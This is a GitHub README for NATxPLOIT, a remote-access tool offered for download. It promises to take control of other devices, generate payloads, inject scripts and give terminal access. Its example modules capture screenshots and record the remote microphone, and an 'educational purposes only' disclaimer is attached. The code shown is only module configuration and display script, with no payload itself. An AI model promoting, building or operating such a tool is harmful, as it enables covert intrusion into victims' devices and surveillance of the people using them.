Skip to content

Take control of other devices using Reverse NAT Traversal

Notifications You must be signed in to change notification settings

NxRoot/NATxPLOIT

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 

Repository files navigation

NATxPLOIT v1.0

FOR EDUCATIONAL PURPOSES ONLY

Take control of other devices using Reverse NAT Traversal

BY USING THIS SOFTWARE YOU AGREE TO THE FOLLOWING

THE DEVELOPER OF THIS SOFWARE IS NOT RESPONSIBLE FOR ANY ILLEGAL ACTIVITY PERFORMED BY ANY USER.

Features

  • Generate payloads to control other devices.
  • Inject scripts after device connection is established.
  • Instant terminal access directly from the application.
  • Create your own modules to execute with a single click.

How to Install

Exe Description Releases
Download the latest version Download

How to create your own modules

  • Modules must be placed inside the scripts folder:

  • Modules must contain a run.json configuration file:
{
    "name": "Screenshot",   // Name that shows up on UI
    "runner": "scrn.exe",   // File to be executed
    "ui": "ui.js"           // UI to handle response
}
  • Modules can have nested options to specify execution arguments:
{
    "name": "Microphone",
    "runner": "rec.exe",
    "ui": "ui.js",
    "options": [
        { "label": "5 Seconds", "args": "5" },
        { "label": "10 Seconds", "args": "10" },
        { "label": "20 Seconds", "args": "20" },
        { "label": "30 Seconds", "args": "30" }
    ]
}
  • The ui.js file allows you to inject UI components after the script is executed:
// The 'result.message' variable contains the string output returned by your script.

const base64String = result.message;

// Create image element
const img = document.createElement("img");
img.src = "data:image/png;base64," + base64String;
img.style.position = "fixed";
img.style.top = 0;
img.style.left = 0;
img.style.width = "100%";
img.style.height = "100%";

// Close UI
img.onclick = () => img.remove();

// Inject UI
document.body.appendChild(img);

 

⭐ If you find this useful!